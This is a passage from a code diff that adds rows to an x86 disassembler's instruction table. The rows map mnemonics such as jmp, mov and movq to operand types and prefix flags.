O_NONE, P_none }, + /* 0677 */ { UD_Ifxch7, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0678 */ { UD_Ifxch7, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0679 */ { UD_Ifxch7, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0680 */ { UD_Ifxch7, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0681 */ { UD_Ifxch7, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0682 */ { UD_Ifxrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0683 */ { UD_Ifxsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0684 */ { UD_Ifxtract, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0685 */ { UD_Ifyl2x, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0686 */ { UD_Ifyl2xp1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0687 */ { UD_Ihlt, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0688 */ { UD_Iidiv, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0689 */ { UD_Iidiv, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0690 */ { UD_Iin, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0691 */ { UD_Iin, O_eAX, O_Ib, O_NONE, O_NONE, P_oso }, + /* 0692 */ { UD_Iin, O_AL, O_DX, O_NONE, O_NONE, P_none }, + /* 0693 */ { UD_Iin, O_eAX, O_DX, O_NONE, O_NONE, P_oso }, + /* 0694 */ { UD_Iimul, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0695 */ { UD_Iimul, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0696 */ { UD_Iimul, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0697 */ { UD_Iimul, O_Gv, O_Ev, O_Iz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0698 */ { UD_Iimul, O_Gv, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0699 */ { UD_Iinc, O_R0z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0700 */ { UD_Iinc, O_R1z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0701 */ { UD_Iinc, O_R2z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0702 */ { UD_Iinc, O_R3z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0703 */ { UD_Iinc, O_R4z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0704 */ { UD_Iinc, O_R5z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0705 */ { UD_Iinc, O_R6z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0706 */ { UD_Iinc, O_R7z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0707 */ { UD_Iinc, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0708 */ { UD_Iinc, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0709 */ { UD_Iinsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0710 */ { UD_Iinsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0711 */ { UD_Iinsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0712 */ { UD_Iint1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0713 */ { UD_Iint3, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0714 */ { UD_Iint, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0715 */ { UD_Iinto, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0716 */ { UD_Iinvd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0717 */ { UD_Iinvept, O_Gd, O_Mo, O_NONE, O_NONE, P_none }, + /* 0718 */ { UD_Iinvept, O_Gq, O_Mo, O_NONE, O_NONE, P_none }, + /* 0719 */ { UD_Iinvlpg, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0720 */ { UD_Iinvlpga, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0721 */ { UD_Iinvvpid, O_Gd, O_Mo, O_NONE, O_NONE, P_none }, + /* 0722 */ { UD_Iinvvpid, O_Gq, O_Mo, O_NONE, O_NONE, P_none }, + /* 0723 */ { UD_Iiretw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0724 */ { UD_Iiretd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0725 */ { UD_Iiretq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0726 */ { UD_Ijo, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0727 */ { UD_Ijo, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0728 */ { UD_Ijno, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0729 */ { UD_Ijno, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0730 */ { UD_Ijb, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0731 */ { UD_Ijb, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0732 */ { UD_Ijae, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0733 */ { UD_Ijae, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0734 */ { UD_Ijz, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0735 */ { UD_Ijz, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0736 */ { UD_Ijnz, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0737 */ { UD_Ijnz, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0738 */ { UD_Ijbe, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0739 */ { UD_Ijbe, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0740 */ { UD_Ija, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0741 */ { UD_Ija, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0742 */ { UD_Ijs, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0743 */ { UD_Ijs, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0744 */ { UD_Ijns, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0745 */ { UD_Ijns, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0746 */ { UD_Ijp, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0747 */ { UD_Ijp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0748 */ { UD_Ijnp, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0749 */ { UD_Ijnp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0750 */ { UD_Ijl, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0751 */ { UD_Ijl, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0752 */ { UD_Ijge, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0753 */ { UD_Ijge, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0754 */ { UD_Ijle, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0755 */ { UD_Ijle, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0756 */ { UD_Ijg, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0757 */ { UD_Ijg, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0758 */ { UD_Ijcxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0759 */ { UD_Ijecxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0760 */ { UD_Ijrcxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0761 */ { UD_Ijmp, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0762 */ { UD_Ijmp, O_Fv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0763 */ { UD_Ijmp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0764 */ { UD_Ijmp, O_Av, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0765 */ { UD_Ijmp, O_Jb, O_NONE, O_NONE, O_NONE, P_def64 }, + /* 0766 */ { UD_Ilahf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0767 */ { UD_Ilar, O_Gv, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0768 */ { UD_Ildmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0769 */ { UD_Ilds, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 0770 */ { UD_Ilea, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0771 */ { UD_Iles, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 0772 */ { UD_Ilfs, O_Gz, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0773 */ { UD_Ilgs, O_Gz, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0774 */ { UD_Ilidt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0775 */ { UD_Ilss, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0776 */ { UD_Ileave, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0777 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0778 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0779 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0780 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0781 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0782 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0783 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0784 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0785 */ { UD_Ilgdt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0786 */ { UD_Illdt, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0787 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0788 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0789 */ { UD_Ilock, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0790 */ { UD_Ilodsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0791 */ { UD_Ilodsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0792 */ { UD_Ilodsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0793 */ { UD_Ilodsq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0794 */ { UD_Iloopne, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0795 */ { UD_Iloope, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0796 */ { UD_Iloop, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0797 */ { UD_Ilsl, O_Gv, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0798 */ { UD_Iltr, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0799 */ { UD_Imaskmovq, O_P, O_N, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0800 */ { UD_Imaxpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0801 */ { UD_Ivmaxpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0802 */ { UD_Imaxps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0803 */ { UD_Ivmaxps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0804 */ { UD_Imaxsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0805 */ { UD_Ivmaxsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0806 */ { UD_Imaxss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0807 */ { UD_Ivmaxss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0808 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0809 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0810 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0811 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0812 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0813 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0814 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0815 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0816 */ { UD_Iminpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0817 */ { UD_Ivminpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0818 */ { UD_Iminps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0819 */ { UD_Ivminps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0820 */ { UD_Iminsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0821 */ { UD_Ivminsd, O_Vx, O_Hx, O_MqU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0822 */ { UD_Iminss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0823 */ { UD_Ivminss, O_Vx, O_Hx, O_MdU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0824 */ { UD_Imonitor, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0825 */ { UD_Imontmul, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0826 */ { UD_Imov, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0827 */ { UD_Imov, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0828 */ { UD_Imov, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0829 */ { UD_Imov, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0830 */ { UD_Imov, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0831 */ { UD_Imov, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0832 */ { UD_Imov, O_MwRv, O_S, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0833 */ { UD_Imov, O_S, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0834 */ { UD_Imov, O_AL, O_Ob, O_NONE, O_NONE, P_none }, + /* 0835 */ { UD_Imov, O_rAX, O_Ov, O_NONE, O_NONE, P_aso|P_oso|P_rexw }, + /* 0836 */ { UD_Imov, O_Ob, O_AL, O_NONE, O_NONE, P_none }, + /* 0837 */ { UD_Imov, O_Ov, O_rAX, O_NONE, O_NONE, P_aso|P_oso|P_rexw }, + /* 0838 */ { UD_Imov, O_R0b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0839 */ { UD_Imov, O_R1b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0840 */ { UD_Imov, O_R2b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0841 */ { UD_Imov, O_R3b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0842 */ { UD_Imov, O_R4b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0843 */ { UD_Imov, O_R5b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0844 */ { UD_Imov, O_R6b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0845 */ { UD_Imov, O_R7b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0846 */ { UD_Imov, O_R0v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0847 */ { UD_Imov, O_R1v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0848 */ { UD_Imov, O_R2v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0849 */ { UD_Imov, O_R3v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0850 */ { UD_Imov, O_R4v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0851 */ { UD_Imov, O_R5v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0852 */ { UD_Imov, O_R6v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0853 */ { UD_Imov, O_R7v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0854 */ { UD_Imov, O_R, O_C, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0855 */ { UD_Imov, O_R, O_D, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0856 */ { UD_Imov, O_C, O_R, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0857 */ { UD_Imov, O_D, O_R, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0858 */ { UD_Imovapd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0859 */ { UD_Ivmovapd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0860 */ { UD_Imovapd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0861 */ { UD_Ivmovapd, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0862 */ { UD_Imovaps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0863 */ { UD_Ivmovaps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0864 */ { UD_Imovaps, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0865 */ { UD_Ivmovaps, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0866 */ { UD_Imovd, O_P, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0867 */ { UD_Imovd, O_P, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0868 */ { UD_Imovd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0869 */ { UD_Ivmovd, O_Vx, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0870 */ { UD_Imovd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0871 */ { UD_Ivmovd, O_Vx, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0872 */ { UD_Imovd, O_Ey, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0873 */ { UD_Imovd, O_Ey, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0874 */ { UD_Imovd, O_Ey, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0875 */ { UD_Ivmovd, O_Ey, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0876 */ { UD_Imovd, O_Ey, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0877 */ { UD_Ivmovd, O_Ey, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0878 */ { UD_Imovhpd, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0879 */ { UD_Ivmovhpd, O_Vx, O_Hx, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0880 */ { UD_Imovhpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0881 */ { UD_Ivmovhpd, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0882 */ { UD_Imovhps, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0883 */ { UD_Ivmovhps, O_Vx, O_Hx, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0884 */ { UD_Imovhps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0885 */ { UD_Ivmovhps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0886 */ { UD_Imovlhps, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0887 */ { UD_Ivmovlhps, O_Vx, O_Hx, O_Ux, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0888 */ { UD_Imovlpd, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0889 */ { UD_Ivmovlpd, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0890 */ { UD_Imovlpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0891 */ { UD_Ivmovlpd, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0892 */ { UD_Imovlps, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0893 */ { UD_Ivmovlps, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0894 */ { UD_Imovlps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0895 */ { UD_Ivmovlps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0896 */ { UD_Imovhlps, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0897 */ { UD_Ivmovhlps, O_Vx, O_Ux, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0898 */ { UD_Imovmskpd, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0899 */ { UD_Ivmovmskpd, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexb|P_vexl }, + /* 0900 */ { UD_Imovmskps, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0901 */ { UD_Ivmovmskps, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0902 */ { UD_Imovntdq, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0903 */ { UD_Ivmovntdq, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0904 */ { UD_Imovnti, O_M, O_Gy, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0905 */ { UD_Imovntpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0906 */ { UD_Ivmovntpd, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0907 */ { UD_Imovntps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0908 */ { UD_Ivmovntps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0909 */ { UD_Imovntq, O_M, O_P, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0910 */ { UD_Imovq, O_P, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0911 */ { UD_Imovq, O_V, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0912 */ { UD_Ivmovq, O_Vx, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0913 */ { UD_Imovq, O_Eq, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0914 */ { UD_Imovq, O_Eq, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0915 */ { UD_Ivmovq, O_Eq, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0916 */ { UD_Imovq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0917 */ { UD_Ivmovq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0918 */ { UD_Imovq, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0919 */ { UD_Ivmovq, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0920 */ { UD_Imovq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0921 */ { UD_Imovq, O_Q, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0922 */ { UD_Imovsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0923 */ { UD_Imovsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0924 */ { UD_Imovsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0925 */ { UD_Imovsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0926 */ { UD_Imovsd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0927 */ { UD_Imovsq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0928 